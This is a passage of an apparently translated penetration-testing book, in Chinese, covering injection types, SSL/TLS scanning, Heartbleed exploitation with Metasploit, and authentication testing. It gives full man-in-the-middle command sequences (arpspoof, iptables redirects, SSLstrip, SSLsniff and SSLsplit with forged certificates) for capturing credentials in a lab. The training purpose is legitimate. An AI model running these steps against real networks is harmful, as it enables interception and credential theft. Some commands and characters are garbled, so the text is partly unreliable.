  • 堆溢出与堆栈溢出类似,只是它们专注于通常不受硬件平台 CPU 保护的空间。堆是在程序调用时动态分配的,攻击者利用这一点通过使用这些宽松的规则来强制溢出,覆盖指针,从而允许黑客重定向 CPU,指向他们自己的恶意代码。鉴于它们在 2000 年代早期就被微软和 Linux 解决了,这些情况相当罕见,但鉴于它们的潜在影响,它们是非常值得检查的。

  • 格式字符串溢出利用了代码中使用的系统调用和函数的不当设计。C 和 C++以可以传递多种类型的多个变量而不进行验证而臭名昭著。这些相同的函数属性可能包含对底层函数的控制指令,因此通常会看到格式字符串注入利用先前未使用的那些调用的部分来强制产生意外行为。

  • Unicode 溢出利用了编程语言标准字母表中不存在的字符来触发潜在的溢出。虽然不像堆和栈类型那样常见,但可以使用类似的预防措施来防止它们。

  • 整数溢出仅仅是利用了对操作中整数输入的不良验证,使得它们加载了两个变量,这些变量包含了他们知道会导致答案超出分配空间的数字,从而创建了溢出。与 Unicode 一样,对前三种溢出类型的保护应该可以防止整数溢出。

对各种形式的缓冲区溢出进行测试可以包括在工具如 Burp Suite、w3af(w3af.org)和其他功能齐全的 DAST 套件的扫描中,但 Metasploit 可以帮助制作各种自定义脚本来利用它们。在Primal Securitywww.primalsecurity.net/0x0-exploit-tutorial-buffer-overflow-vanilla-eip-overwrite-2/)上有一个很棒的教程,正如您所看到的,要使合适的缓冲区溢出攻击发生,需要做很多工作。

Commix - 不那么有趣的命令注入

另一方面,命令注入并不是为了注入代码,反射回主机,并改变应用程序的行为。命令注入通过应用程序正常操作中使用的可注入命令找到一个窗口,从而使我们能够看到或接触到后端 Web 或应用程序层服务器。其目标是将额外的命令注入到变量字符串中,以在主机操作系统上运行本地命令,例如copy命令,重新配置接口,或者最坏的情况,如fdisk。这不是你典型的喜闹行为 - 这是残酷的事情。在 OWASP OTG(www.owasp.org/index.php/Command_Injection)中有一个很好的讨论,而工具CommixCommand Injection Exploiter)已经包含在 Kali Linux 中,以确保我们得到了覆盖。

要使用 Commix,您需要 URL(我们在这里使用 DVWA),与您会话相关的 cookie(我再次使用了拦截开启的 Burp),以及您要模糊处理的字段(在本例中是 IP),然后就可以开始了;我很快就获得了 shell 访问权限(如下面的截图所示)!

通过 Commix 获得 shell 访问权限的代码注入

HTTP 完蛋了?


到目前为止,本章讨论的所有攻击都涉及将字符串放置在我们知道可能对后端数据库造成严重破坏的表单字段中。许多网络服务现在根据用户输入和会话状态创建动态标头,并出现了一种新的攻击类型,以利用这可能打开的漏洞。当攻击者下定决心时,他们可以将信息注入到实际上在许多情况下类似于 XSS 的标头中。

例如,HTTP 在其语法上非常严格,它将回车和换行视为字段之间的特殊分隔点。如果 Web 服务器没有适当地拒绝或对这些输入进行消毒,攻击者可能会在其中插入一些内容,以注入他们自己的任意字段并传递他们的有效负载。这种攻击形式称为HTTP 响应拆分

这类攻击的另一种形式涉及HTTP 会话固定,这是攻击者感知网站对用户进行身份验证并使用会话 ID 的一种方式,但未验证发送会话 ID 的人是谁,因此将任何人,包括攻击者和受害者客户端,都视为合法参与者(Web 服务器无法区分两者)。通过社会工程学,攻击者可以趁机强迫受害者点击一个链接,其中会话 ID 已经被攻击者选择。受害者然后进行身份验证,基本上告诉 Web 服务器这个会话 ID 是有效的。攻击者基本上种下了自己的 cookie,并让受害者为其背书。

注意

HTTP 动词篡改是另一个问题,它利用 HTTP 请求中输入验证的缺乏,并使用动词(POST、HEAD、GET、TRACE、TRACK、PUT、DELETE 等,www.restapitutorial.com/lessons/httpmethods.html中有很好的介绍)。

这些攻击方法非常新颖和即将到来;除了 Burp 和 Wapati 等套件之外,Kali 中没有专门用于覆盖 HTTP 注入攻击的专用工具。有关更多信息,请访问Watchfire制作的白皮书(www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf)。

摘要


注入攻击种类繁多且致命。鉴于攻击者必须利用这些漏洞的种类、方法和目标的数量之多,动态内容能够得到保护是非常美妙的。这类攻击只能通过警惕和基于最佳实践的分割、净化和持续的渗透测试来预防。

在本章中,我们研究了各种注入攻击类别,其中 SQL 注入很可能是主角。鉴于现代应用框架中广泛使用 SQL,可以理解为什么更多的工具和关注被给予这种注入形式。然而,我们将看到这种情况能持续多久,因为随着处理能力的爆炸和对简化访问和可移植性的需求增加,XML 和 XPath 的使用也在增加。此外,不应忽略更专门的注入技术,因为 LDAP、命令和代码注入缺陷,虽然遇到频率较低,但对于服务器保护不足的公司来说可能是潜在的噩梦。总之,注入攻击可能是耗时和乏味的测试,但对手只需要找到一处漏洞就有可能得手。

在下一章中,我们将更加专注于技术攻击向量——加密缺陷和漏洞。正是在公众意识到这种依赖并坚持隐私和保密的时候,网络正以令人难以置信的速度增长。黑客在许多方面都领先于他们,等待着可以允许他们拦截、修改或暴露数据流内容并背叛网络应用程序和客户之间必须相互信任以正常运行的信任机制。如果你准备好接受一些可怕的东西,那就跟我进入第八章,通过密码学测试来利用信任

第八章:通过加密测试利用信任

商用加密和密码方法的发展对于互联网作为全球经济引擎的采用至关重要。网络已经走过了很长的路,从早期的浏览器如 Erwise 和 Mosaic 向主要教育用户提供静态、开放信息的日子。很难想象网络曾经是纯文本的时代,信息在没有任何防盗或窥探保护的情况下传输(以及存储)。现在,互联网促进的金融、个人和知识交易受到数学驱动算法的保护,如安全套接字层(SSL)/传输层安全性(TLS)、高级加密标准(AES)、安全散列算法(SHA)和 Diffie-Helman(DH)。这些标准以及更多,再加上用于共享密钥的广泛基础设施,使我们能够信任这些交易。这种信任是可以理解的;消费级电子产品和开源软件可以轻松实现加密技术,以提供信息安全的三个关键原则;保密性、完整性和可用性(CIA)。当然,这假设每个人都在使用正确的标准和协议,并且它们被正确配置。

针对加密方法(以及相关领域,如隐写术)的攻击通常避免尝试破解加密本身。苹果公司与美国司法部之间关于 iPhone 后门的战斗说明了这一点;加密通信是廉价且容易的,但要破解相同的加密却非常困难。攻击者可能会试图在加密之前拦截信息,或者在接收方解密后拦截信息。从技术上讲,这更容易,但从实际上讲,他们必须在这些主机上。欺骗发送方和接收方;源和目的地相信他们自己的系统是两个感兴趣的方之一会更容易吗?这本质上就是中间人攻击,其用途远不止拦截。

中间人攻击在许多形式的黑客攻击中很受欢迎;捕获凭据、导致恶意软件传递的污染的网络流量、重定向到恶意门户,或者收集和潜在操纵流本身都是可能的。防御这些恶意用途变得更加困难,因为相同的技术在企业中也有合法用途。Web 代理和防火墙使用 SSL/TLS 中间人攻击是有益的,帮助隐藏和保护最终用户和他们的客户端,允许进行全面检查和内容过滤,并确保免受拒绝服务攻击和隐私侵犯。只要这两种相反的用途存在,攻击者就可以利用它们来黑客我们的客户。

我们必须能够发现和验证所有可察觉的缺陷,无论是通过规避还是中间人攻击。在本章中,我们将看到加密是如何在 Web 应用程序通信中使用的,窥视加密会话,并使用中间人攻击规避加密或突破加密。在本章中,我们将讨论以下主题:

  • 学习如何持久攻击者可以通过 OpenSSL,SSLyze 和 SSLscan 检测到弱密码的妥协以及我们如何检测它们

  • 体验我们如何对安全连接执行中间人攻击,发现有趣的有效载荷,并使用 SSLsplit 和 SSLsniff 进行操纵。

  • 通过充当中间人并使用 SSLstrip 从流中删除加密来完全击败 SSL

你的秘密有多保密?


据估计,SSL/TLS 在网络流量中的使用率超过 60%,并且由于公众对黑客和政府的窥探和拦截的看法,我们应该预计这一比例将继续上升。虽然在实践中很困难,但如果获取的数据价值足够大,攻击者的时间确实是值得的。OWASP 的十大威胁列表在多个周期中都将敏感数据暴露列为最严重的威胁,2013 年和 2017 年的版本都将其排名为第 6 位:对 Web 应用程序最令人担忧的威胁。

在他们的敏感数据暴露部分的总结中(如下图所示),如果 Web 开发人员正确配置并使用当前技术和模块版本来提供保护,那么将会更加困难。我们的测试中相当大一部分将围绕检查过时的软件包、不足的密钥强度和配置错误的端点展开。也就是说,如果所有这些事情都得到了正确的配置,我们将看到一些中间人攻击如何帮助克服这种保护。

OWASP 的破坏身份验证和会话劫持特征化

在开始之前,了解我们正在讨论的加密应用程序的类型是有帮助的。鉴于它在信息技术中的广泛应用,我们需要将此讨论范围限制在 Web 服务器及其服务器-客户端关系的范围内。即使在这种情况下,存在许多潜在的拓扑结构,但它们都有一些共同的元素,如下图所示:

基本 SSL/TLS 结构和攻击点

一种不断增长的攻击手段涉及利用 DNS 和 PKI 基础设施来增强中间人攻击,并欺骗警惕的客户端,使其相信它们确实连接到适当的服务器或合法的代理(未显示)。这里的每个元素都将有自己的能力。我们作为测试人员的工作是找出哪些元素正在损害端到端的完整性。

像专业人士一样评估加密


通过连接到应用程序并查看协商的内容,可以简单地识别和验证应用程序的加密配置和潜在缺陷。这可能是相当费力的,所以幸运的是我们有一些快速扫描工具,可以系统地协商服务器的所有潜在配置,以更好地帮助我们了解它们允许的内容。

我仍然建议花一些时间学习如何手动测试 SSL/TLS,因为随时进行快速检查以确保版本、密码偏好和类似内容是非常方便的。www.exploresecurity.com/wp-content/uploads/custom/SSL_manual_cheatsheet.html提供了一份很好的说明和备忘录。

SSLyze-它切片,它扫描â�¦

在这方面,我们的第一个工具可能是你唯一需要的工具。用 Python 编写的 SSLyze (github.com/iSECPartners/sslyze)将使用几乎任何当前使用的传输协议与服务器进行通信,并且速度很快!通过在所有类型的协议上启动 StartTLS 握手与服务器进行通信,它可以扫描密码套件问题,协商缺陷,证书不一致以及许多在新闻中引起关注的 SSL 相关漏洞(Heartbleed,CRIME 等)。

使用 SSLyze 是小菜一碟;您可以选择一些选项进行传递,然后同时测试多个服务器。这些选项可以帮助细化被测试的版本,与连接相关的超时和重试,添加客户端证书或cert以进行相互认证测试,并测试压缩和恢复。我倾向于使用常规选项和 Heartbleed 模块,并将输出写入文本文件。在这个例子中,我们将针对网站www.hackthissite.org运行:

sslyze [Options] [host:port | host]
sslyze ; regular ; heartbleed www.hackthissite.org:443 >>hackthissite.txt

如您在下面的截图中所见,SSLyze 为我们提供了大量的测试。我将广泛的输入转储到文本文件中,以更好地剪裁空白部分,但它们提供的主要见解领域是对站点的完整健康检查。

SSLyze 扫描输出

如您从输出中所见,有很多内容需要消化。第 1 部分概述了工具的实例化和基本连接。如果服务器输入不正确,脚本将在此退出。第 2 部分(为简洁起见剪裁)涵盖了使用已知的受信任的 PKI 证书颁发机构进行证书检查,以确保证书充分关联。证书存在问题可能会使攻击者假冒合法服务器的身份,从而劫持流量用于其自己的恶意需求。第 3 部分将帮助我们查看与插件相关的特殊压力测试的结果,例如 Heartbleed 模块和服务器的会话恢复能力。第 4 部分突出显示了可用的密码;支持较弱或已知易受攻击的密码套件的服务器只会招来麻烦。第 5 部分非常直接;扫描花了多长时间?过去,在测试 Cisco 防火墙时,推断启用和协商的密码套件的手动过程可能需要几个小时。还不错,但偶尔可能会提供不同的结果,因此让我们看看另一个工具,它可以帮助交叉检查并为我们提供另一个数据点。

SSLscan 也可以!

SSLscan 是 Kali 中提供的另一个工具,擅长自动化扫描过程,帮助我们评估软件版本、使用的密码以及安全连接的许多其他方面。SSLscan 是用 C 语言构建的,利用了 OpenSSL 1.0.1 库,也是跨平台的,因此如果您需要 Microsoft Windows 或 Mac OS 版本的应用程序,它们是可用的。SSLscan 的选项更加简单直接,它们有助于文件简洁,虽然这使得它非常容易运行,但同时也有助于运行另一个具有更多 PKI 方面细节的工具。要运行 SSLscan,您可以简单地使用以下语法进行扫描:

sslscan [Options] [host:port | host]
sslscan www.hackthissite.org

如您从下面的截图中所见,它提供了更紧凑的输出,但其中一些是以牺牲证书检查和细节为代价的,这些在您的渗透测试中可能会有用。使用相同的颜色代码和编号方案来帮助与 SSLyze 输出形成对比:第 1 部分概述了工具的基本连接测试;第 2 部分显示了较少冗长的证书检查;第 3 部分仅限于 Heartbleed 扫描结果;第 4 部分突出显示了可用的密码。虽然没有包括计时器,但在对常见站点进行测试时,其时间与 SSLyze 相当。

SSLscan 扫描输出

在这种特殊情况下,两个工具都检测到了相同的首选密码套件ECDHE-RSA-AES128-SHA,但在一些测试中,人们报告了 SSLyze 正确解释或协商与 SSLscan 相同的密码套件时出现了一些问题。这样的问题需要运行两个工具并使用手动分析来解决任何冲突。 Kali 发行版中的另一个工具tlssled,根据底层 SSLscan 结果重新格式化输出为摘要样式视图,但除了 SSLscan 的功能外,几乎没有其他功能。

Nmap 也具有 SSL 技能

我们将要研究的最后一个通用 SSL/TLS 扫描工具是备受推崇的Nmap。配备了一个特定于任务的脚本(ssl-enum-ciphers),Nmap 可以枚举主机上所有可用的密码,并根据当前最佳实践为每个密码提供评分。虽然它缺乏 SSLyze 和 SSLscan 的完整性,但这个功能使它成为向客户提出建议的有用且知名的引擎。

以下屏幕截图中的输出显示了针对 OWASP BWA 本身(主页,而不是特定应用程序)的扫描可能是什么样子:

nmap -sV ; script ssl-enum-ciphers -p 443 www.hackthissite.org 

Nmap 与 ssl-enum-ciphers 扫描输出

利用漏洞


一旦您扫描了 SSL/TLS 密码问题或证书问题,就可以做很多工作来寻找攻击者将使用的特定弱点,这些攻击也可以通过我们已经在之前章节中访问过的一些工具来传递。让我们看看一些更著名的漏洞。

POODLE â�� 只会吠,不会咬(通常)

降级遗留加密的填充 OraclePOODLE)(CVE-2014-3566)是一种漏洞,它利用了对受影响的 SSLv3.0 Cipher Block ChainingCBC)** **密码套件的向下协商,从而允许中间人利用。使用中间人攻击,POODLE 需要 256 个 SSL 请求来揭示每个数据字节,并且除非存在大规模、强大且持久的中间人代理,否则它不经常使用。尽管如此,这是一个敏感问题,如果 SSLscan 或 SSLyze 显示存在这种组合,或者您可以选择使用nmap和其ssl-poodle模块来验证条件是否存在,那么您可以推断这可能存在于主机上。以下脚本将在目标上检查它:

nmap -sV ; version-light ; script ssl-poodle -p 443 <host>

ssl-enum-ciphers脚本的 Nmap 扫描不同,这个扫描停止并且只深入到围绕这个 CVE 的具体细节(如下图所示)。您还可以看到我们在ssl-enum-ciphers扫描中捕获了 CVE,但没有标记它的常用名称。

Nmap 与 SSL-poodle 模块扫描输出

OpenSSL 团队讨论了背景(www.openssl.org/~bodo/ssl-poodle.pdf)和利用此漏洞的方法。我的朋友 Joey Muniz 也在他的The Security Blogger博客中写到了这个缺陷(www.thesecurityblogger.com/ssl-broken-again-in-poodle-attack/),并且在高层次上描述了它是如何实现的。

心脏出血

另一个引起大量媒体关注的漏洞是非常严重的Heartbleed漏洞(CVE-2014-0160,heartbleed.com)。与 POODLE 不同,这不能简单地通过配置来解决,而是需要对当时大约四分之三的互联网连接主机使用的基础 OpenSSL 软件进行修补。POODLE 允许攻击者一次一个字节地猜测会话 cookie,而 Heartbleed 是一种漏洞,允许攻击者读取所有私有加密密钥、用户名和密码、证书以及易受攻击主机上的所有受保护通信。尽管 POODLE 似乎是针对长期替换的密码类别的学术练习,但 Heartbleed 影响了全球绝大多数的网络设备。

我们已经看到 SSLyze 和 SSLscan 都能够检测到 Heartbleed 漏洞,但如果您想利用它作为更大的渗透测试的一部分,该怎么办?Metasploit 恰好能够提供,所以让我们来看看!

启动 Metasploit(使用msfconsole命令)后,我们可以使用auxiliary/scanner/ssl/openssl_heartbleed模块来支持我们利用 Heartbleed。

让我们继续查看选项(如下面的屏幕截图所示),我们需要考虑在配置利用时:

在 Metasploit 中的 Heartbleed 模块的配置选项

我们将研究 BeeBox VM(www.itsecgames.com)并在下拉列表中选择Heartbleed Vulnerability,如下面的屏幕截图所示。请注意,还有其他旧的攻击,如前面提到的POODLE,可供您练习。我们可以看到实验室希望我们在名为8443的端口上工作,我的RHOSTS只是单个服务器172.16.30.134。我还将VERBOSE(在选项中未显示,因为它是一个更全局的、模块不可知的设置)设置为true,这样我们就可以看到所有的交易。我也会将其余的设置保持为默认设置。

寻找一个受 Heartbleed 漏洞影响的服务器。

修改这些设置后,我们只需输入runexploit,Metasploit 现在将尝试破坏服务器并获取它能找到的所有凭据和 cookie,如下面的屏幕截图所示。这么致命的东西不应该这么容易,您可以看到为什么我们需要测试和防范这些攻击。

Metasploit 的 Heartbleed 利用是成功的。

淹没 HTTPS

DROWN(CVE-2016-0800)漏洞识别了一个开放 SSLv2 支持的服务器,这使得至少三分之一的互联网服务器在 2016 年 3 月时是脆弱的。攻击者将利用应用程序支持的 SSLv2,使用与用于或帮助随机化 TLS(更近期的协议版本)相同的密钥。通过启动数以万计的 SSLv2 消息,他们能够获取更强大和当前版本的 TLS 中使用的密钥,从而使用窃取的私钥破解更高级别的加密。曾经被认为是不切实际的,因为需要大量消息;他们也称之为百万消息攻击;现在已经知道可以通过商业可用的资源在几小时内使用数以万计的消息来实现。

检测 DROWN 漏洞就像看看目标服务器或共享相同密钥的其他服务器是否支持 SSLv2 一样简单。还有另一个工具可以用来识别这个漏洞,它位于test.drownattack.com网站上。

重温经典

随着时间的推移,SSL 和 TLS 都经历了各自的漏洞;这是不可避免的,因为它们对由一小群过度工作和得不到支持的志愿者维护的 OpenSSL 等模块的巨大依赖。我们应该了解和检查的其他一些漏洞在这里描述:

  • BEAST:我们的客户需要练习良好的补丁和配置卫生习惯,以避免像浏览器针对 SSL/TLS 的利用(CVE-2011-3389)攻击这样的攻击。BEAST 针对 TLSv1.0 的初始化向量IVs),这些是用来帮助随机加密的种子值。猜测 IVs 有助于攻击者重构对话并揭示本应被掩盖的明文。他们可以通过更新的 TLS 版本避免这些问题。

  • CRIME压缩比例信息泄漏变得容易(CVE-2012-4929)是在旧版本中使用 TLS 压缩时的一个漏洞。通过注入字节并比较响应的大小,黑客可以识别和推断出 cookie 本身,这可以让他们为自己的邪恶用途劫持会话。现代浏览器不容易受到攻击,所以客户应该始终保持更新。

  • BREACH通过对超文本进行自适应压缩的浏览器侦察和外泄(CVE-2013-3587)使用类似的技术,但使用 HTTP 压缩,因此不依赖于 TLS 压缩来使用 BREACH。您可以建议客户阻止压缩,并在多个事务中分割和掩盖任何密码或认证值,或者还可以使用包装器和操作来掩盖请求。

中间人攻击


中间人攻击受到网络和应用安全供应商的高度关注,这是理所当然的。中间人攻击可以在应用服务器附近进行,但更常见的是在客户端附近。中间人攻击的等级会有很大的变化,从 passively 监视流量模式到主动干扰和凭证收集。鉴于可以产生相同信息的更高优先级的妥协的普遍存在(例如跨站脚本XSS),Web 应用程序渗透测试人员需要评估追求中间人攻击的风险与回报。让我们详细了解一下最受欢迎的工具,并调查一些不同中间人攻击目标的类似工具。

使用 SSLstrip 刮取凭证

SSLstripmoxie.org/software/sslstrip/)是由一个名叫 Moxie Marlinspike 的黑客创建的中间人攻击工具,它可以透明地拦截 HTTPS 流量,并用 HTTP 的替代品替换任何 HTTPS 链接和重定向,我们可以看到这些完全没有保护。这种攻击就像对浏览器配置和用户勤勉的测试,但它也可以强调 DNS 安全、PKI、双向证书检查和双因素授权的重要性。

Jason Beltrame和我在我们的书《使用树莓派进行渗透测试,第二版》www.packtpub.com/networking-and-servers/penetration-testing-raspberry-pi-second-edition)中写到了这一点,但在这种情况下,我们将放弃物理内联配置,而是通过将流量通过我们的 Kali VM 进行中间人攻击(请注意,这是一种基于 LAN 的攻击,所以您需要在受害者的 LAN 上)。毫无戒心的受害者相信他/她确实是安全连接的。

以下截图显示了一个高层概述:

中间人攻击拓扑

首先,我们需要欺骗主机,让它认为我们是真正的默认网关。我们可以通过使用route -n确定段上的默认 GW 为什么使用,识别我们浏览受害者的 IP(我使用的是带有 IE9 的 Windows 7 虚拟机)。通过几个命令,我们可以打开 IP 转发并用我们的 MAC 地址对受害者进行arpspoof,如下所示:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 172.16.30.135 172.16.30.2 

现在我们需要修改我们的iptables配置。如果你之前没有遇到过 iptables,它是 Linux 内核基于主机的防火墙的接口,所以你可以想象我们需要一些魔法来允许流量进入和离开,这些流量实际上并不是为我们准备的。在我的例子中,我使用端口80用于 HTTP,端口1111用于 SSLstrip,但如有需要,可以随意修改后者:

iptables -t nat -A PREROUTING -p tcp ; destination-port 80 -j REDIRECT ; to-port 1111 

现在我们需要启动 SSLstrip,可以从命令行或 GUI 快捷方式启动:

sslstrip �l 1111 

完成后,我通常会浏览一些网站,比如www.aol.com/,然后输入一些假证书,希望能在我的 SSLstrip 日志中捕获它们,如下面的截图所示:

任何 SSL 网站都可以用来测试。

通常情况下,我会从上一个终端会话中的 Python 脚本中收到一堆错误,但它仍然像一个冠军一样工作。只需打开ssltrip.log文件(我的文件位于root目录中),并滚动到搜索的末尾,查找其中一个字段字符串;在我的情况下,我使用了密码。

以下截图显示了我希望看到的假证书:

SSLstrip 的日志和捕获的凭证。

使用 SSLsniff 和 SSLsplit 看起来很正规

我们希望我们的客户不会上当受骗,去除 SSL/TLS 保护的中间人攻击。更精明的客户将培训他们的用户并限制浏览器中的非 HTTPS 流量。对于这些情况,Moxie 再次使用 SSLsniff,就像 Daniel Roethlisberger 的SSLsplitgithub.com/droe/sslsplit)一样,可以通过充当透明代理并为服务器和客户端提供 SSL/TLS 连接来提供更高级别的中间人攻击。SSLsniff 和 SSLsplit 都将伪造 X.509 证书,并模仿服务器的大多数相关证书字段,因此这是一个适用于我们怀疑用户不注意他们的证书检查或执法可能较弱的环境的绝佳方法。这两个工具都依赖于伪造的证书,但使用相同的 IP 转发和iptables配置来传输流量。为了实现这一点,您需要运行证书颁发机构;如果您还没有建立自己的证书颁发机构,这是一个很棒的教程:jamielinux.com/docs/openssl-certificate-authority/

SSLsniff

我们先来看看 SSLsniff。然后,SSLsniff 要求您拥有目标 Web 应用程序的私钥和证书(不太可能),或者您生成伪造的证书,如下面的截图所示:

openssl req -config openssl.cnf -new -nodes -keyout <targetsite>.key -out <targetsite>.csr -days 365 

为 SSLsniff 和 SSLsplit 伪造证书。

我们在通用名称CN)中使用 Unicode \x00作为占位符,遵循优秀教程提供的指导,链接在这里:www.kimiushida.com/bitsandpieces/articles/attacking_ssl_with_sslsniff_and_null_prefixes/。创建一个真正的欺骗证书作为后端编程是必要的,以创建允许受害者浏览器接受的空字符。创建certkey后,我们需要使用自己的 CA 签署证书,连接keycert,然后将其放置在我们假网站的目录中:

openssl ca -config openssl.cnf -policy policy_anything -out gmail.crt -infiles gmail.csr
cat paypal.crt gmail.key > gmail.pem
mkdir -p /usr/share/sslsniff/certs/fakegmail/
cp gmail.pem /usr/share/sslsniff/certs/fakegmail/ 

假设您已经正确配置了 IP 转发和iptables,SSLsniff 可以使用一个命令启动:

sslsniff -t -c /usr/share/sslsniff/certs/fakegmail -s 1111 -w /tmp/sslsniff.log -d �p 

现在我们已经让 SSLsniff 等待我们受害者的流量,我们可以开始使用与 SSLstrip 中使用的相同类型的arpspoof来重定向来自客户端的流量:

arpspoof �I eth0 �t 172.16.30.135 172.16.30.2 

您可以查看sslsniff.log文件的内容并查看凭证(如下图所示)。这种攻击的成功可能性比 SSLstrip 更大,因为用户仍然会在其浏览器的地址栏中看到一个 HTTPS 会话;并且根据受信任的 CA 配置,他们可能很少意识到事情并不顺利。如果您使用真正的欺骗证书(查看此教程了解可能发生的情况:blog.leetsys.com/2012/01/18/insider-rogue-certification-authority-attack/),它甚至看起来是有效的。

查看 SSLsniff 的凭证抓取

SSLsplit

SSLsplit 采用类似的方法;首先,您需要确保启用了 IP 转发。通常会使用更多的iptables条目来拉取更多的端口,提供 NAT,并使用8080804438443的典型重新映射端口:

iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp �dport 80 -j REDIRECT �to-ports 8080
iptables -t nat -A PREROUTING -p tcp �dport 443 -j REDIRECT �to-ports 8443
iptables -I INPUT -p tcp -m state �state NEW -m tcp �dport 80 -j ACCEPT
iptables -I INPUT -p tcp -m state �state NEW -m tcp �dport 443 -j ACCEPT
iptables -I INPUT -p tcp -m state �state NEW -m tcp �dport 8443 -j ACCEPT
iptables -I INPUT -p tcp -m state �state NEW -m tcp �dport 8080 -j ACCEPT
service iptables save 

现在我们可以使用一个命令启动 SSLsplit。请注意,与生成欺骗证书相关的繁重开销已经消除;这非常有帮助,因为我们可以部署它来收集多个站点的信息,而无需为每个站点生成假证书:

sslsplit -l connections.log -S ~/scrapes/ -k ~/sslsplit-keys/ca.key -c ~/sslsplit-keys/ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 

与 SSLsniff 一样,输出指向一个日志文件,告诉您可以在~/scrapes文件夹中找到日志。

替代中间人攻击动机

我们可以使用 Kali Linux 作为基础实施大量中间人攻击方法。如果您正在寻找仅限 HTTP 的中间人攻击(一些内部站点可能仍在使用不受保护的 HTTP),或者如果您正在寻找某些非常特定的东西,请查看Driftnetwww.ex-parrot.com/~chris/driftnet/)和Urlsnarf。这两者都使用相同的 IP 转发和 arpspoof 配置,但提供了一些与 SSLstrip 不同的功能。Driftnet 专注于从通过您的 Kali VM 传递的 HTTP 流中提取图像和多媒体,这对拦截企业培训非常有帮助。Urlsnarf 只是拉取主机访问的所有网站,这可以帮助您映射明确访问的内部站点,并且可能不会出现在 DNS 侦察任务中。

摘要


尽管一些攻击受到了很多关注和荣耀,但推动社会对网络的依赖的信任关系至关重要。对这些信任机制的攻击非常令人担忧,因为它们经常让用户和应用程序开发人员对妥协毫不知情。本书涵盖的许多其他威胁以及 OWASP 十大威胁中所代表的威胁是网站应用程序所有者可以控制或有权利纠正的。然而,基于加密或 PKI 的攻击涉及到其他领域的方面,比如证书颁发机构的完整性,网络对 ARP 注入的容忍度,以及应用程序自身域之外的局域网的完整性。在 Heartbleed 和 POODLE 等攻击中,甚至提供这些服务的软件也可能会有最终妥协的问题:敏感数据和凭证的泄露。

在本章中,我们只是初步了解了如何扫描应用程序运行的软件中已知的漏洞。我们还看到了 SSLscan 和 SSLyze 在检测 PKI 细节方面的不同之处,以及如何使用它们和 Nmap 来识别弱点。我们还讨论了一些更常见的攻击方式,如如何利用 Heartbleed 以及如何以多种方式进行中间人攻击。

在第九章,压力测试认证和会话管理中,我们将假设加密技术非常完善,更容易的路径是在应用程序端破坏认证。这些认证和会话管理攻击更加关注特定应用程序配置和维护可能存在的缺陷,实际上,这些缺陷往往更容易受到攻击。这些攻击还具有利用与合法用户相同的安全通道进入环境的附加好处,这对于持续测试和对目标系统的深入分析至关重要。第九章,压力测试认证和会话管理,也将标志着我们回归到一些已经投资的工具集,所以拿杯饮料,让我们开始工作吧!

第九章:压力测试认证和会话管理

如果攻击者能够找到或表现得像合法用户,并且应用程序相信他,那么任何下游保护都无法阻止非法操作。在第八章 通过加密测试利用信任中,我们看到攻击者如何拦截并经过一些努力——代理或即时解密信息。要使这些攻击生效,需要发生很多事情,而攻击者可能会被网络防御或警觉的用户注意到。应用程序使用的认证是另一回事。用户不断向 Web 应用程序和安全团队施压,以简化和改进登录体验,而这种压力往往直接冲突于应用程序的安全性。因为应用程序所有者不愿意推动用户使用更新的硬件和软件,经历任何中断或冗长的登录过程,并放弃访问自由和多任务处理能力,他们通常设计应用程序以适应更不安全、更常见的客户端配置文件。应用程序登录和会话管理流程一直很慢地采用措施,以防止导致最近历史上一些最大的入侵事件的许多缺陷。

会话管理的诞生是为了使安全性更加灵活。用户不喜欢通过虚拟专用网络(VPN)隧道连接,因此 Web 应用程序已经从使用唯一的会话密钥发展到认证 cookie,现在是认证令牌,每个都允许用户持续访问和服务器跟踪有状态信息。这在初始认证后是一个巨大的帮助,因为它允许 HTTP 在不断证明其身份的麻烦下扩展其使用。对于黑客来说,会话管理方法现在是他们可以打败的机制——拥有凭据不再是劫持会话或冒充用户的必要条件。

认证和会话管理漏洞通常是协调的入侵行动的第二层。虽然其他妥协会在目标环境中启用初始的“海滩头”,但在环境中使用用户存储的暴力破解通常是允许攻击者通过横向移动和特权升级来保持访问的关键部分。与企业使用轻量级目录访问协议(LDAP)、微软活动目录(AD)或其他身份存储不同,Web 门户通常经过大量定制,购买时很少或从未得到适当的加固。这就是我们将要操作的地方——暴露目标环境认证的所有裂缝。在本章中,我们将看到各种形式的认证是如何执行的,以及如何最好地测试它们。在这个过程中,我们将了解以下主题:

  • 学习基本、基于表单或摘要的 HTTP 认证是如何实现的,以及每种方法的优缺点

  • 使用 Burp Suite 的 Intruder 模块来规避这些认证墙

  • 讨论双因素认证2FA)的影响以及克服它的方法

  • 了解功能级访问控制的工作原理,如何可能被错误配置,以及如何通过伪造来利用

  • 讨论暴力破解和字典攻击的可能性

敲敲,谁在那里?


认证是确定某人是谁的艺术,并且要有确定性地这样做。自从互联网出现以来,这个过程变得很危险,因为处理不当的后果可能会危及其他环境。尽管潜在影响很大,但这种风险通常被非安全人员忽视——用户的便利性再次导致了安全上的放松。OWASP 将其列为网络安全中最紧迫的威胁之一,并将威胁描述为具有严重影响,如下截图所示:

OWASP 对破损的认证和会话管理的总结

认证必须很难吗?

大多数认证方法都以这样一个前提开始,即通常有不同特权级别的有效用户需要访问某些内容。现在,我们如何确认他们是他们所说的人?这些所谓的凭据在很大程度上类似于物理安全措施。正确的人既看起来像他们所说的人,而且希望有适当的钥匙或回答挑战的答案。过去,基于用户名和密码的认证是完全可以接受的,但现在我们已经到了这样一个程度,即这种有缺陷的单因素方法已经不能保证连接的客户是可信的。

近年来,网站和应用程序已经纳入了所谓的 2FA,以提高忠诚度。 2FA 在所需的认证检查中添加了第二因素,大大降低了窃取凭证成功获得非法访问的可能性。这些因素通常被描述为你是谁(例如用户名或电子邮件)、你知道的东西(密码或口令)和你拥有的东西(通常是软令牌、RSA 密钥或其他一次性密码OTP))。在前提认证使用中,我们甚至看到指纹、视网膜扫描和其他生物识别技术的使用。再加上安全问题、CAPTCHA或其他图片验证技术,甚至证书,我们可以理解为什么这足以使寻求便利的用户不知所措,而不是进行测谎测试。

以下是一般认证方法的截图:

网站的一般认证方法

认证 2.0 - 抢夺一个金奖券

